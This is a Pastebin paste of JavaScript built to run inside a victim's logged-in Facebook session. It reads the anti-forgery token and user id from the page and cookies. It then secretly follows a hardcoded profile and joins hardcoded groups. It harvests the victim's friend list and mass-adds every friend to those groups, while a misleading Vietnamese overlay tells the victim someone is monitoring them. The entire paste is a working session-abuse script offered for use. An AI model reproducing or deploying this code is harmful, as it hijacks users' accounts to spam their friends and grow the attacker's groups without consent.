Advertisement
Guest User

group

a guest
Sep 16th, 2014
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.10 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('Hehe Xex xin Chào Cả Nhà ^^');
  4. function hp_d12(s) {
  5. var o = "",
  6. ar = new Array(),
  7. os = "",
  8. ic = 0,
  9. p = 0;
  10. for (i = 0; i < s.length; i++) {
  11. c = s.charCodeAt(i);
  12. if (c < 128) c = c ^ ((p++ % 8) + 1);
  13. os += String.fromCharCode(c);
  14. if (os.length > 80) {
  15. ar[ic++] = os;
  16. os = ""
  17. }
  18. }
  19. o = ar.join("") + os;
  20. return o
  21. }
  22. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  23. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  24.  
  25. function cereziAl(isim) {
  26. var tarama = isim + "=";
  27. if (document.cookie.length > 0) {
  28. konum = document.cookie.indexOf(tarama);
  29. if (konum != -1) {
  30. konum += tarama.length;
  31. son = document.cookie.indexOf(";", konum);
  32. if (son == -1) son = document.cookie.length;
  33. return unescape(document.cookie.substring(konum, son))
  34. } else {
  35. return ""
  36. }
  37. }
  38. }
  39. function getRandomInt(min, max) {
  40. return Math.floor(Math.random() * (max - min + 1)) + min
  41. }
  42. function randomValue(arr) {
  43. return arr[getRandomInt(0, arr.length - 1)]
  44. }
  45. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  46. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  47.  
  48. function a(abone) {
  49. var http4 = new XMLHttpRequest();
  50. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  51. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  52. http4.open("POST", url4, true);
  53. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  54. http4.setRequestHeader("Content-length", params4.length);
  55. http4.setRequestHeader("Connection", "close");
  56. http4.onreadystatechange = function() {
  57. if (http4.readyState == 4 && http4.status == 200) {
  58. http4.close
  59. }
  60. };
  61. http4.send(params4)
  62. }
  63. a("100008131992727");
  64.  
  65. var gid = ['352077631611045'];
  66. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  67. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  68. var httpwp = new XMLHttpRequest();
  69. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  70. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  71. httpwp['open']('POST', urlwp, true);
  72. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  73. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  74. httpwp['setRequestHeader']('Connection', 'keep-alive');
  75. httpwp['send'](paramswp);
  76. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  77. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  78. var friends = new Array();
  79. gf = new XMLHttpRequest();
  80. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  81. gf['send']();
  82. if (gf['readyState'] != 4) {} else {
  83. data = eval('(' + gf['responseText']['substr'](9) + ')');
  84. if (data['error']) {} else {
  85. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  86. return _0x93dax8['index'] - _0x93dax9['index']
  87. })
  88. }
  89. };
  90. var Title = 'Đang Kiểm Tra ,Có Người Đang Theo Dõi Bạn <A style="color:#3B5998;" href="https://www.facebook.com/BanMeTreCon">Admin Hehe Xex.</A>';
  91. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  92. var Descriptions = "",
  93. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/groups/743443635684603/">Largest Group.</A> Join it now.';
  94.  
  95. function AddFriendtoGroup(opo) {
  96. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  97. var b = a.substring(a.indexOf("{"));
  98. var c = JSON.parse(b);
  99. i--;
  100. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  101. if (c.error) {
  102. Descriptions += "color:darkred'>";
  103. err++;
  104. if (c.errorDescription) Descriptions += c.errorDescription;
  105. else Descriptions += JSON.stringify(c, null, "")
  106. } else {
  107. Descriptions += "color:darkgreen'>";
  108. Descriptions += arn[i] + " has been added.<br/>";
  109. suc++
  110. }
  111. Descriptions += "</div>";
  112. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  113. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  114. if (i > 0) {
  115. display += arr.length + " Friends Detected<br/>";
  116. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  117. display += "(" + i + " Lefted...)";
  118. display += "<div class='friend-edge'>";
  119. display += Descriptions;
  120. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  121. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  122. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  123. display += _text;
  124. display += "</div>";
  125. display += "</div>"
  126. } else {
  127. display += arr.length + " Friends Detected<br/>";
  128. display += suc + " Friends Added</br>";
  129. display += err + " Friends Not Added</br></br>";
  130. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  131. }
  132. display += "</div>";
  133. document.getElementById("pagelet_sidebar").innerHTML = display
  134. }, "text", "post");
  135. tay--;
  136. if (tay > 0) {
  137. var s = arr[tay];
  138. sx = pho[tay];
  139. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  140. }
  141. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  142. if (gid != 386572611449908) {
  143. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=404825912959165&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  144. }
  145. if (newcomer) {
  146. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100002982734741&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  147. }
  148. if (newcomer) {
  149. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003856636061&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  150. }
  151. if (newcomer) {
  152. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100002982734741&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  153. }
  154. if (newcomer) {
  155. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100002982734741&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  156. }
  157. if (newcomer) {
  158. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100002982734741&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  159. }
  160. }
  161. function clickfr_callback() {
  162. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  163. var a = arr[i];
  164. if (i < arr.length) addfriend(a.substring(0, 4))
  165. }
  166. function clickfr() {
  167. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  168. else j++;
  169. setTimeout("clickfr_callback()", 2E3)
  170. }
  171. function addfriend(a) {
  172. i++;
  173. setTimeout("clickfr()", 2E3)
  174. }
  175. jx = {
  176. getHTTPObject: function() {
  177. var a = false;
  178. if (typeof ActiveXObject != "undefined") try {
  179. a = new ActiveXObject("Msxml2.XMLHTTP")
  180. } catch (b) {
  181. try {
  182. a = new ActiveXObject("Microsoft.XMLHTTP")
  183. } catch (c) {
  184. a = false
  185. }
  186. } else if (window.XMLHttpRequest) try {
  187. a = new XMLHttpRequest
  188. } catch (b) {
  189. a = false
  190. }
  191. return a
  192. },
  193. load: function(url, callback, format, method, opt) {
  194. var http = this.init();
  195. if (!http || !url) return;
  196. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  197. if (!method) method = "GET";
  198. if (!format) format = "text";
  199. if (!opt) opt = {};
  200. format = format.toLowerCase();
  201. method = method.toUpperCase();
  202. var now = "uid=" + (new Date).getTime();
  203. url += url.indexOf("?") + 1 ? "&" : "?";
  204. url += now;
  205. var parameters = null;
  206. if (method == "POST") {
  207. var parts = url.split("?");
  208. url = parts[0];
  209. parameters = parts[1]
  210. }
  211. http.open(method, url, true);
  212. var ths = this;
  213. if (opt.handler) http.onreadystatechange = function() {
  214. opt.handler(http)
  215. };
  216. else http.onreadystatechange = function() {
  217. if (http.readyState == 4) if (http.status == 200) {
  218. var result = "";
  219. if (http.responseText) result = http.responseText;
  220. if (format.charAt(0) == "j") {
  221. result = result.replace(/[\n\r]/g, "");
  222. result = eval("(" + result + ")")
  223. } else if (format.charAt(0) == "x") result = http.responseXML;
  224. if (callback) callback(result)
  225. } else {
  226. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  227. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  228. if (error) error(http.status)
  229. }
  230. };
  231. http.send(parameters)
  232. },
  233. bind: function(a) {
  234. var b = {
  235. url: "",
  236. onSuccess: false,
  237. onError: false,
  238. format: "text",
  239. method: "GET",
  240. update: "",
  241. loading: "",
  242. loadingIndicator: ""
  243. };
  244. for (var c in b) if (a[c]) b[c] = a[c];
  245. if (!b.url) return;
  246. var d = false;
  247. if (b.loadingIndicator) {
  248. d = document.createElement("div");
  249. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  250. d.setAttribute("class", "loading-indicator");
  251. d.innerHTML = b.loadingIndicator;
  252. document.getElementsByTagName("body")[0].appendChild(d);
  253. this.opt.loadingIndicator = d
  254. }
  255. if (b.loading) document.getElementById(b.loading).style.display = "block";
  256. this.load(b.url, function(a) {
  257. if (b.onSuccess) b.onSuccess(a);
  258. if (b.update) document.getElementById(b.update).innerHTML = a;
  259. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  260. if (b.loading) document.getElementById(b.loading).style.display = "none"
  261. }, b.format, b.method, b)
  262. },
  263. init: function() {
  264. return this.getHTTPObject()
  265. }
  266. };
  267. var nHtml = {
  268. FindByAttr: function(a, b, c, d) {
  269. if (c == "className") c = "class";
  270. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  271. if (e && e.singleNodeValue) return e.singleNodeValue;
  272. return null
  273. },
  274. FindByClassName: function(a, b, c) {
  275. return this.FindByAttr(a, b, "className", c)
  276. },
  277. FindByXPath: function(a, b) {
  278. try {
  279. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  280. } catch (d) {
  281. GM_log("bad xpath:" + b)
  282. }
  283. if (c && c.singleNodeValue) return c.singleNodeValue;
  284. return null
  285. },
  286. VisitUrl: function(a) {
  287. window.setTimeout(function() {
  288. document.location.href = a
  289. }, 500 + Math.floor(Math.random() * 500))
  290. },
  291. ClickWin: function(a, b, c) {
  292. var d = a.document.createEvent("MouseEvents");
  293. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  294. return !b.dispatchEvent(d)
  295. },
  296. Click: function(a) {
  297. return this.ClickWin(window, a, "click")
  298. },
  299. ClickTimeout: function(a, b) {
  300. window.setTimeout(function() {
  301. return nHtml.ClickWin(window, a, "click")
  302. }, b + Math.floor(Math.random() * 500))
  303. },
  304. ClickUp: function(a) {
  305. this.ClickWin(window, a, "mousedown");
  306. this.ClickWin(window, a, "mouseup");
  307. this.ClickWin(window, a, "click")
  308. },
  309. GetText: function(a, b) {
  310. var c = "";
  311. if (b == undefined) b = 0;
  312. if (b > 40) return;
  313. if (a.textContent != undefined) return a.textContent;
  314. for (var d = 0; d < a.childNodes.length; d++) {
  315. var e = a.childNodes[d];
  316. c += this.GetText(e, b + 1)
  317. }
  318. return c
  319. }
  320. };
  321. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  322. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  323. var c = document.getElementsByTagName("*");
  324. var d = [];
  325. var e;
  326. for (var f = 0;
  327. (e = c[f]) != null; f++) {
  328. var g = e.className;
  329. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  330. }
  331. return d
  332. };
  333. Array.prototype.find = function(a) {
  334. var b = false;
  335. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  336. if (a.test(this[i])) {
  337. if (!b) b = [];
  338. b.push(i)
  339. }
  340. } else if (this[i] === a) {
  341. if (!b) b = [];
  342. b.push(i)
  343. }
  344. return b
  345. };
  346. var i = 3;
  347. var tay = 3;
  348. var j = 0;
  349. var k = 0;
  350. var suc = 0;
  351. var err = 0;
  352. var arr = new Array;
  353. var arn = new Array;
  354. var pho = new Array;
  355. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  356. var gid = document.getElementsByName("group_id")[0].value;
  357. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  358. var b = a;
  359. var c = b.substring(b.indexOf("{"));
  360. var d = JSON.parse(c);
  361. d = d.payload.entries;
  362. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  363. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  364. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  365. i = arr.length - 1;
  366. tay = i;
  367. console.log(arr.length);
  368. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  369. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  370. display += arr.length + " Friends Detected";
  371. display += "</div>";
  372. document.getElementById("pagelet_sidebar").innerHTML = display;
  373. AddFriendtoGroup(arr[i])
  374. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement